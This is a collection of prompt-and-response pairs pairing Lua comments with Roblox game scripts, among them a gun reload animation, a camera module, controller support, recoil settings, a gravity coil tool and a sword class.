Prompt: --------------------[ RELOAD FUNCTIONS ]----------------------------------------------

Response:
function ReloadAnim()
	TweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
	TweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
	local Speed = S.ReloadTime / 2
	local Mag_Parts = {}

	for _, Obj in pairs(Gun:GetChildren()) do
		if Obj.Name == "Mag" and Obj:IsA("BasePart") then
			INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})
		end
	end

	local W1 = nil
	local W2 = nil

	local SequenceTable = {

		function()

			for Index, Mag in pairs(Mag_Parts) do
				Mag.Original.Transparency = 1
				Mag.Clone1.Parent = Gun_Ignore
				Mag.Clone1.CanCollide = true

				if Index ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = Mag_Parts[1].Clone1
					W.Part1 = Mag.Clone1
					W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)
					W.Parent = Mag_Parts[1].Clone1
				end
			end

			W1 = Instance.new("Weld")
			W1.Part0 = Mag_Parts[1].Clone1
			W1.Part1 = Handle
			W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)
			W1.Parent = Mag_Parts[1].Clone1

			TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)
			TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(-20), RAD(3), 0), Linear, 0.5 * Speed)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)
			wait(0.5 * Speed)

		end;

		function()

			TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)
			wait(0.2 * Speed)

		end;

		function()

			W1:Destroy()
			Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-1,0)) * 20
			spawn(function()
				while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end
				for _, Mag in pairs(Mag_Parts) do
					Mag.Clone1.Anchored = true
					Mag.Clone1:BreakJoints()
				end
			end)

			for Index, Mag in pairs(Mag_Parts) do
				Mag.Clone2.Parent = Gun_Ignore

				if Index ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = Mag_Parts[1].Clone2
					W.Part1 = Mag.Clone2
					W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)
					W.Parent = Mag_Parts[1].Clone2
				end
			end

			W2 = Instance.new("Weld")
			W2.Part0 = FakeLArm
			W2.Part1 = Mag_Parts[1].Clone2
			W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)
			W2.Parent = FakeLArm
			wait(0.1)

		end;

		function()

			local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()
			local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()
			local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)
			local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)
			local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)

			TweenJoint(LWeld, ArmC0[1], CF(0.3, 1.85, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60)), Sine, 0.6 * Speed)
			TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed)
			TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)
			TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)
			wait(0.7 * Speed)

		end;

		function()

			for _, Mag in pairs(Mag_Parts) do
				Mag.Original.Transparency = 0
				Mag.Clone2:Destroy()
			end

			TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)
			TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)
			wait(0.5 * Speed)

		end;

	}

	for _,ReloadFunction in pairs(SequenceTable) do
		if BreakReload then
			break
		end
		ReloadFunction()
	end

	if W1 then W1:Destroy() end
	if W2 then W2:Destroy() end
	for _, Mag in pairs(Mag_Parts) do
		Mag.Clone1:Destroy()
		Mag.Clone2:Destroy()
	end
end

function Reload()
	Running = false
	if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then
		AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)
		Ammo.Value = 0
		Reloading = true
		if Aimed then UnAimGun(S.ReloadAnimation) end
		Gui_Clone.CrossHair.Reload.Visible = true
		if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
		if S.ReloadAnimation then
			wait()
			ReloadAnim()
		else
			local StartReload = tick()
			while true do
				if BreakReload then break end
				if (tick() - StartReload) >= S.ReloadTime then break end
				RS:wait()
			end
		end
		if (not BreakReload) then
			if StoredAmmo.Value >= ClipSize.Value then
				Ammo.Value = ClipSize.Value
				if AmmoInClip > 0 then
					StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)
				else
					StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
				end
			elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
				Ammo.Value = StoredAmmo.Value
				StoredAmmo.Value = 0
			end
		end
		BreakReload = false
		Reloading = false
		if Selected then
			AmmoInClip = 0
			Gui_Clone.CrossHair.Reload.Visible = false
		end
	end
end


Prompt:
-- BEHAVIOUR
--Controller support

Response:
coroutine.wrap(function()

	-- Create PC 'Enter Controller Mode' Icon
	runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
	local Icon = require(script.Parent)
	local controllerOptionIcon = Icon.new()
		:setName("_TopbarControllerOption")
		:setOrder(100)
		:setImage("rbxassetid://5278150942")
		:setRight()
		:setEnabled(false)
		:setTip("Controller mode")
	controllerOptionIcon.deselectWhenOtherIconSelected = false

	-- This decides what controller widgets and displays to show based upon their connected inputs
	-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
	-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
	local function determineDisplay()
		local mouseEnabled = userInputService.MouseEnabled
		local controllerEnabled = userInputService.GamepadEnabled
		local iconIsSelected = controllerOptionIcon.isSelected
		if mouseEnabled and controllerEnabled then
			-- Show icon
			controllerOptionIcon:setEnabled(true)
		elseif mouseEnabled and not controllerEnabled then
			-- Hide icon, disableControllerMode
			controllerOptionIcon:setEnabled(false)
			IconController._enableControllerMode(false)
			controllerOptionIcon:deselect()
		elseif not mouseEnabled and controllerEnabled then
			-- Hide icon, _enableControllerMode
			controllerOptionIcon:setEnabled(false)
			IconController._enableControllerMode(true)
		end
	end
	userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay)
	userInputService.GamepadConnected:Connect(determineDisplay)
	userInputService.GamepadDisconnected:Connect(determineDisplay)
	determineDisplay()

	-- Enable/Disable Controller Mode when icon clicked
	local function iconClicked()
		local isSelected = controllerOptionIcon.isSelected
		local iconTip = (isSelected and "Normal mode") or "Controller mode"
		controllerOptionIcon:setTip(iconTip)
		IconController._enableControllerMode(isSelected)
	end
	controllerOptionIcon.selected:Connect(iconClicked)
	controllerOptionIcon.deselected:Connect(iconClicked)

	-- Hide/show topbar when indicator action selected in controller mode
	userInputService.InputBegan:Connect(function(input,gpe)
		if not IconController.controllerModeEnabled then return end
		if input.KeyCode == Enum.KeyCode.DPadDown then
			if not guiService.SelectedObject and checkTopbarEnabled() then
				IconController.setTopbarEnabled(true,false)
			end
		elseif input.KeyCode == Enum.KeyCode.ButtonB then
			IconController._previousSelectedObject = guiService.SelectedObject
			IconController._setControllerSelectedObject(nil)
			IconController.setTopbarEnabled(false,false)
		end
		input:Destroy()
	end)

	-- Setup overflow icons
	for alignment, detail in pairs(alignmentDetails) do
		if alignment ~= "mid" then
			local overflowName = "_overflowIcon-"..alignment
			local overflowIcon = Icon.new()
				:setImage(6069276526)
				:setName(overflowName)
				:setEnabled(false)
			detail.overflowIcon = overflowIcon
			overflowIcon.accountForWhenDisabled = true
			if alignment == "left" then
				overflowIcon:setOrder(math.huge)
				overflowIcon:setLeft()
				overflowIcon:set("dropdownAlignment", "right")
			elseif alignment == "right" then
				overflowIcon:setOrder(-math.huge)
				overflowIcon:setRight()
				overflowIcon:set("dropdownAlignment", "left")
			end
		end
	end
end)()


Prompt:
--[=[
	Returns the current Promise status.

	@return Status
]=]

Response:
function Promise.prototype:getStatus()
	return self._status
end


Prompt: --[[ The Module ]]

Response:
--
local BaseCamera = {}
BaseCamera.__index = BaseCamera

function BaseCamera.new()
	local self = setmetatable({}, BaseCamera)

	-- So that derived classes have access to this
	self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD

	self.cameraType = nil
	self.cameraMovementMode = nil

	local player = Players.LocalPlayer
	self.lastCameraTransform = nil
	self.rotateInput = ZERO_VECTOR2
	self.userPanningCamera = false
	self.lastUserPanCamera = tick()

	self.humanoidRootPart = nil
	self.humanoidCache = {}

	-- Subject and position on last update call
	self.lastSubject = nil
	self.lastSubjectPosition = Vector3.new(0,5,0)

	-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera
	-- is trying to maintain, not the actual measured value.
	-- The default is updated when screen orientation or the min/max distances change,
	-- to be sure the default is always in range and appropriate for the orientation.
	self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)
	self.currentSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)

	self.inFirstPerson = false
	self.inMouseLockedMode = false
	self.portraitMode = false
	self.isSmallTouchScreen = false

	-- Used by modules which want to reset the camera angle on respawn.
	self.resetCameraAngle = true

	self.enabled = false

	-- Input Event Connections
	self.inputBeganConn = nil
	self.inputChangedConn = nil
	self.inputEndedConn = nil

	self.startPos = nil
	self.lastPos = nil
	self.panBeginLook = nil

	self.panEnabled = true
	self.keyPanEnabled = true
	self.distanceChangeEnabled = true

	self.PlayerGui = nil

	self.cameraChangedConn = nil
	self.viewportSizeChangedConn = nil

	self.boundContextActions = {}

	-- VR Support
	self.shouldUseVRRotation = false
	self.VRRotationIntensityAvailable = false
	self.lastVRRotationIntensityCheckTime = 0
	self.lastVRRotationTime = 0
	self.vrRotateKeyCooldown = {}
	self.cameraTranslationConstraints = Vector3.new(1, 1, 1)
	self.humanoidJumpOrigin = nil
	self.trackingHumanoid = nil
	self.cameraFrozen = false
	self.headHeightR15 = R15_HEAD_OFFSET
	self.heightScaleChangedConn = nil
	self.subjectStateChangedConn = nil
	self.humanoidChildAddedConn = nil
	self.humanoidChildRemovedConn = nil

	-- Gamepad support
	self.activeGamepad = nil
	self.gamepadPanningCamera = false
	self.lastThumbstickRotate = nil
	self.numOfSeconds = 0.7
	self.currentSpeed = 0
	self.maxSpeed = 6
	self.vrMaxSpeed = 4
	self.lastThumbstickPos = Vector2.new(0,0)
	self.ySensitivity = 0.65
	self.lastVelocity = nil
	self.gamepadConnectedConn = nil
	self.gamepadDisconnectedConn = nil
	self.currentZoomSpeed = 1.0
	self.L3ButtonDown = false
	self.dpadLeftDown = false
	self.dpadRightDown = false

	-- Touch input support
	self.isDynamicThumbstickEnabled = false
	self.fingerTouches = {}
	self.numUnsunkTouches = 0
	self.inputStartPositions = {}
	self.inputStartTimes = {}
	self.startingDiff = nil
	self.pinchBeginZoom = nil
	self.userPanningTheCamera = false
	self.touchActivateConn = nil

	-- Mouse locked formerly known as shift lock mode
	self.mouseLockOffset = ZERO_VECTOR3

	-- [[ NOTICE ]] --
	-- Initialization things used to always execute at game load time, but now these camera modules are instantiated
	-- when needed, so the code here may run well after the start of the game

	if player.Character then
		self:OnCharacterAdded(player.Character)
	end

	player.CharacterAdded:Connect(function(char)
		self:OnCharacterAdded(char)
	end)

	if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end
	self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
		self:OnCurrentCameraChanged()
	end)
	if FFlagUserNewDefaultCameraAngle then
		self:OnCurrentCameraChanged()
	end

	if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end
	self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function()
		self:OnPlayerCameraPropertyChange()
	end)

	if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end
	self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function()
		self:OnPlayerCameraPropertyChange()
	end)

	if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end
	self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function()
		self:OnPlayerCameraPropertyChange()
	end)

	if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end
	self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
		self:OnDevTouchMovementModeChanged()
	end)
	self:OnDevTouchMovementModeChanged() -- Init

	if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end
	self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
		self:OnGameSettingsTouchMovementModeChanged()
	end)
	self:OnGameSettingsTouchMovementModeChanged() -- Init

	UserGameSettings:SetCameraYInvertVisible()
	UserGameSettings:SetGamepadCameraSensitivityVisible()

	self.hasGameLoaded = game:IsLoaded()
	if not self.hasGameLoaded then
		self.gameLoadedConn = game.Loaded:Connect(function()
			self.hasGameLoaded = true
			self.gameLoadedConn:Disconnect()
			self.gameLoadedConn = nil
		end)
	end

	return self
end

function BaseCamera:GetModuleName()
	return "BaseCamera"
end

function BaseCamera:OnCharacterAdded(char)
	if FFlagUserNewDefaultCameraAngle then
		self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()
		self.humanoidRootPart = nil
	end
	if UserInputService.TouchEnabled then
		self.PlayerGui = Players.LocalPlayer:WaitForChild("PlayerGui")
		for _, child in ipairs(char:GetChildren()) do
			if child:IsA("Tool") then
				self.isAToolEquipped = true
			end
		end
		char.ChildAdded:Connect(function(child)
			if child:IsA("Tool") then
				self.isAToolEquipped = true
			end
		end)
		char.ChildRemoved:Connect(function(child)
			if child:IsA("Tool") then
				self.isAToolEquipped = false
			end
		end)
	end
end

function BaseCamera:GetHumanoidRootPart()
	if not self.humanoidRootPart then
		local player = Players.LocalPlayer
		if player.Character then
			local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
			if humanoid then
				self.humanoidRootPart = humanoid.RootPart
			end
		end
	end
	return self.humanoidRootPart
end

function BaseCamera:GetBodyPartToFollow(humanoid, isDead)
	-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid
	if humanoid:GetState() == Enum.HumanoidStateType.Dead then
		local character = humanoid.Parent
		if character and character:IsA("Model") then
			return character:FindFirstChild("Head") or humanoid.RootPart
		end
	end

	return humanoid.RootPart
end

function BaseCamera:GetSubjectPosition()
	local result = self.lastSubjectPosition
	local camera = game.Workspace.CurrentCamera
	local cameraSubject = camera and camera.CameraSubject

	if cameraSubject then
		if cameraSubject:IsA("Humanoid") then
			local humanoid = cameraSubject
			local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead

			if VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then
				result = self.lastSubjectPosition
			else
				local bodyPartToFollow = humanoid.RootPart

				-- If the humanoid is dead, prefer their head part as a follow target, if it exists
				if humanoidIsDead then
					if humanoid.Parent and humanoid.Parent:IsA("Model") then
						bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
					end
				end

				if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
					local heightOffset = humanoid.RigType == Enum.HumanoidRigType.R15 and R15_HEAD_OFFSET or HEAD_OFFSET
					if humanoidIsDead then
						heightOffset = ZERO_VECTOR3
					end

					result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)
				end
			end

		elseif cameraSubject:IsA("VehicleSeat") then
			local offset = SEAT_OFFSET
			if VRService.VREnabled then
				offset = VR_SEAT_OFFSET
			end
			result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)
		elseif cameraSubject:IsA("SkateboardPlatform") then
			result = cameraSubject.CFrame.p + SEAT_OFFSET
		elseif cameraSubject:IsA("BasePart") then
			result = cameraSubject.CFrame.p
		elseif cameraSubject:IsA("Model") then
			if cameraSubject.PrimaryPart then
				result = cameraSubject:GetPrimaryPartCFrame().p
			else
				result = cameraSubject:GetModelCFrame().p
			end
		end
	else
		-- cameraSubject is nil
		-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition
		-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the
		-- last set valid values for these, as nil values are not handled cases
		return
	end

	self.lastSubject = cameraSubject
	self.lastSubjectPosition = result

	return result
end

function BaseCamera:UpdateDefaultSubjectDistance()
	local player = Players.LocalPlayer
	if self.portraitMode then
		self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, PORTRAIT_DEFAULT_DISTANCE)
	else
		self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE)
	end
end

function BaseCamera:OnViewportSizeChanged()
	local camera = game.Workspace.CurrentCamera
	local size = camera.ViewportSize
	self.portraitMode = size.X < size.Y
	self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)

	self:UpdateDefaultSubjectDistance()
end


Prompt: ---Adjusts the camera Y touch Sensitivity when moving away from the center and in the TOUCH_SENSITIVTY_ADJUST_AREA

Response:
function BaseCamera:AdjustTouchSensitivity(delta, sensitivity)
	local cameraCFrame = game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame
	if not cameraCFrame then
		return sensitivity
	end
	local currPitchAngle = cameraCFrame:ToEulerAnglesYXZ()

	local multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y
	if currPitchAngle > TOUCH_ADJUST_AREA_UP and delta.Y < 0 then
		local fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_UP)/(MAX_Y - TOUCH_ADJUST_AREA_UP)
		fractionAdjust = 1 - (1 - fractionAdjust)^3
		multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * (
			TOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y)
	elseif currPitchAngle < TOUCH_ADJUST_AREA_DOWN and delta.Y > 0 then
		local fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_DOWN)/(MIN_Y - TOUCH_ADJUST_AREA_DOWN)
		fractionAdjust = 1 - (1 - fractionAdjust)^3
		multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * (
			TOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y)
	end

	return Vector2.new(
		sensitivity.X,
		sensitivity.Y * multiplierY
	)
end

function BaseCamera:OnTouchBegan(input, processed)
	local canUseDynamicTouch = self.isDynamicThumbstickEnabled and not processed
	if canUseDynamicTouch then
		if self.dynamicTouchInput == nil and isInDynamicThumbstickArea(input) then
			-- First input in the dynamic thumbstick area should always be ignored for camera purposes
			-- Even if the dynamic thumbstick does not process it immediately
			self.dynamicTouchInput = input
			return
		end
		self.fingerTouches[input] = processed
		self.inputStartPositions[input] = input.Position
		self.inputStartTimes[input] = tick()
		self.numUnsunkTouches = self.numUnsunkTouches + 1
	end
end

function BaseCamera:OnTouchChanged(input, processed)
	if self.fingerTouches[input] == nil then
		if self.isDynamicThumbstickEnabled then
			return
		end
		self.fingerTouches[input] = processed
		if not processed then
			self.numUnsunkTouches = self.numUnsunkTouches + 1
		end
	end

	if self.numUnsunkTouches == 1 then
		if self.fingerTouches[input] == false then
			self.panBeginLook = self.panBeginLook or self:GetCameraLookVector()
			self.startPos = self.startPos or input.Position
			self.lastPos = self.lastPos or self.startPos
			self.userPanningTheCamera = true

			local delta = input.Position - self.lastPos
			delta = Vector2.new(delta.X, delta.Y * UserGameSettings:GetCameraYInvertValue())
			if self.panEnabled then
				local adjustedTouchSensitivity = TOUCH_SENSITIVTY
				self:AdjustTouchSensitivity(delta, TOUCH_SENSITIVTY)

				local desiredXYVector = self:InputTranslationToCameraAngleChange(delta, adjustedTouchSensitivity)
				self.rotateInput = self.rotateInput + desiredXYVector
			end
			self.lastPos = input.Position
		end
	else
		self.panBeginLook = nil
		self.startPos = nil
		self.lastPos = nil
		self.userPanningTheCamera = false
	end
	if self.numUnsunkTouches == 2 then
		local unsunkTouches = {}
		for touch, wasSunk in pairs(self.fingerTouches) do
			if not wasSunk then
				table.insert(unsunkTouches, touch)
			end
		end
		if #unsunkTouches == 2 then
			local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
			if self.startingDiff and self.pinchBeginZoom then
				local scale = difference / math.max(0.01, self.startingDiff)
				local clampedScale = Util.Clamp(0.1, 10, scale)
				if self.distanceChangeEnabled then
					self:SetCameraToSubjectDistance(self.pinchBeginZoom / clampedScale)
				end
			else
				self.startingDiff = difference
				self.pinchBeginZoom = self:GetCameraToSubjectDistance()
			end
		end
	else
		self.startingDiff = nil
		self.pinchBeginZoom = nil
	end
end

function BaseCamera:OnTouchEnded(input, processed)
	if input == self.dynamicTouchInput then
		self.dynamicTouchInput = nil
		return
	end

	if self.fingerTouches[input] == false then
		if self.numUnsunkTouches == 1 then
			self.panBeginLook = nil
			self.startPos = nil
			self.lastPos = nil
			self.userPanningTheCamera = false
		elseif self.numUnsunkTouches == 2 then
			self.startingDiff = nil
			self.pinchBeginZoom = nil
		end
	end

	if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then
		self.numUnsunkTouches = self.numUnsunkTouches - 1
	end
	self.fingerTouches[input] = nil
	self.inputStartPositions[input] = nil
	self.inputStartTimes[input] = nil
end

function BaseCamera:OnMouse2Down(input, processed)
	if processed then return end

	self.isRightMouseDown = true
	self:OnMousePanButtonPressed(input, processed)
end

function BaseCamera:OnMouse2Up(input, processed)
	self.isRightMouseDown = false
	self:OnMousePanButtonReleased(input, processed)
end

function BaseCamera:OnMouse3Down(input, processed)
	if processed then return end

	self.isMiddleMouseDown = true
	self:OnMousePanButtonPressed(input, processed)
end

function BaseCamera:OnMouse3Up(input, processed)
	self.isMiddleMouseDown = false
	self:OnMousePanButtonReleased(input, processed)
end

function BaseCamera:OnMouseMoved(input, processed)
	if not self.hasGameLoaded and VRService.VREnabled then
		return
	end

	local inputDelta = input.Delta
	inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * UserGameSettings:GetCameraYInvertValue())

	if self.panEnabled and ((self.startPos and self.lastPos and self.panBeginLook) or self.inFirstPerson or self.inMouseLockedMode) then
		local desiredXYVector = self:InputTranslationToCameraAngleChange(inputDelta,MOUSE_SENSITIVITY)
		self.rotateInput = self.rotateInput + desiredXYVector
	end

	if self.startPos and self.lastPos and self.panBeginLook then
		self.lastPos = self.lastPos + input.Delta
	end
end

function BaseCamera:OnMousePanButtonPressed(input, processed)
	if processed then return end
	self:UpdateMouseBehavior()
	self.panBeginLook = self.panBeginLook or self:GetCameraLookVector()
	self.startPos = self.startPos or input.Position
	self.lastPos = self.lastPos or self.startPos
	self.userPanningTheCamera = true
end

function BaseCamera:OnMousePanButtonReleased(input, processed)
	self:UpdateMouseBehavior()
	if not (self.isRightMouseDown or self.isMiddleMouseDown) then
		self.panBeginLook = nil
		self.startPos = nil
		self.lastPos = nil
		self.userPanningTheCamera = false
	end
end

function BaseCamera:UpdateMouseBehavior()
	if FFlagUserCameraToggle and self.isCameraToggle then
		CameraUI.setCameraModeToastEnabled(true)
		CameraInput.enableCameraToggleInput()
		CameraToggleStateController(self.inFirstPerson)
	else
		if FFlagUserCameraToggle then
			CameraUI.setCameraModeToastEnabled(false)
			CameraInput.disableCameraToggleInput()
		end
		-- first time transition to first person mode or mouse-locked third person
		if self.inFirstPerson or self.inMouseLockedMode then
			UserGameSettings.RotationType = Enum.RotationType.CameraRelative
			UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
		else
			UserGameSettings.RotationType = Enum.RotationType.MovementRelative
			if self.isRightMouseDown or self.isMiddleMouseDown then
				UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
			else
				UserInputService.MouseBehavior = Enum.MouseBehavior.Default
			end
		end
	end
end

function BaseCamera:UpdateForDistancePropertyChange()
	-- Calling this setter with the current value will force checking that it is still
	-- in range after a change to the min/max distance limits
	self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end

function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance)
	local player = Players.LocalPlayer

	local lastSubjectDistance = self.currentSubjectDistance

	-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0
	-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made
	-- available by the developer without needing to allow players to mousewheel dolly into first person.
	-- Some modules will override this function to remove or change first-person capability.
	if player.CameraMode == Enum.CameraMode.LockFirstPerson then
		self.currentSubjectDistance = 0.5
		if not self.inFirstPerson then
			self:EnterFirstPerson()
		end
	else
		local newSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredSubjectDistance)
		if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then
			self.currentSubjectDistance = 0.5
			if not self.inFirstPerson then
				self:EnterFirstPerson()
			end
		else
			self.currentSubjectDistance = newSubjectDistance
			if self.inFirstPerson then
				self:LeaveFirstPerson()
			end
		end
	end

	-- Pass target distance and zoom direction to the zoom controller
	ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))

	-- Returned only for convenience to the caller to know the outcome
	return self.currentSubjectDistance
end

function BaseCamera:SetCameraType( cameraType )
	--Used by derived classes
	self.cameraType = cameraType
end

function BaseCamera:GetCameraType()
	return self.cameraType
end


Prompt: -- Tell the ActiveCast factory module what FastCast actually *is*.

Response: ActiveCast.SetStaticFastCastReference(FastCast)


Response:
local txt = script.Parent

txt.Changed:Connect(function()
    if txt.Parent:IsA("Frame") then
        wait(Time_Before_Disappearing)
        if Fade_Out_Enabled then
            repeat
                wait()
                txt.TextTransparency = txt.TextTransparency + Fade_Out_Smoothness
            until txt.TextTransparency >= 1
            wait(Time_Before_Disappearing)
            txt:Destroy()
        else
            txt:Destroy()
        end
    end
end)


Response:
end

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --// Recoil Settings

Response:
	gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming
	camrecoil = 0.26; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.33; -- How much the camera flicks when aiming

	CamShake = 8; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 6; -- THIS IS ALSO NEW!!!!

	Kickback = 0.8; -- Upward gun rotation when not aiming
	AimKickback = 0.5; -- Upward gun rotation when aiming


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

Tool = script.Parent

local equalizingForce = 250 / 1.2 -- amount of force required to levitate a mass
local gravity = .9999999999999999 -- things float at > 1

local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil

function recursiveGetLift(node)
	local m = 0
	local c = node:GetChildren()
	for i=1,#c do
		if c[i].className == "Part" then
			if c[i].Name == "Handle" then
				m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
			else
				m = m + (c[i]:GetMass() * equalizingForce * gravity)
			end
		end
		m = m + recursiveGetLift(c[i])
	end
	return m
end

function onMassChanged(child, char)
	print("Mass changed:" .. child.Name .. "    " .. char.Name)
	if (ghostEffect ~= nil) then
		ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
	end
end

function UpdateGhostState(isUnequipping)

	if isUnequipping == true then
		ghostEffect:Remove()
		ghostEffect = nil
		massCon1:disconnect()
		massCon2:disconnect()
	else
		if ghostEffect == nil then
			local char = Tool.Parent
			if char == nil then return end
			ghostEffect = Instance.new("BodyForce")
			ghostEffect.Name = "GravityCoilEffect"
			ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
			ghostEffect.Parent = char.Head
			ghostChar = char
			massCon1 = char.ChildAdded:connect(function(child)  onMassChanged(child, char) end)
			massCon2 = char.ChildRemoved:connect(function(child)  onMassChanged(child, char) end)
		end
	end

end

function onEquipped()
	Tool.Handle.CoilSound:Play()
	UpdateGhostState(false)
end

function onUnequipped()
	UpdateGhostState(true)
end

script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)


Prompt: --[[Sword Part Class]]

Response:
--

local SwordPart =
{
	Damage = 20,
	AttackTime = 1,
	CoolDown = 0.01,

	LastSwing = 0,
	LastHit = 0,

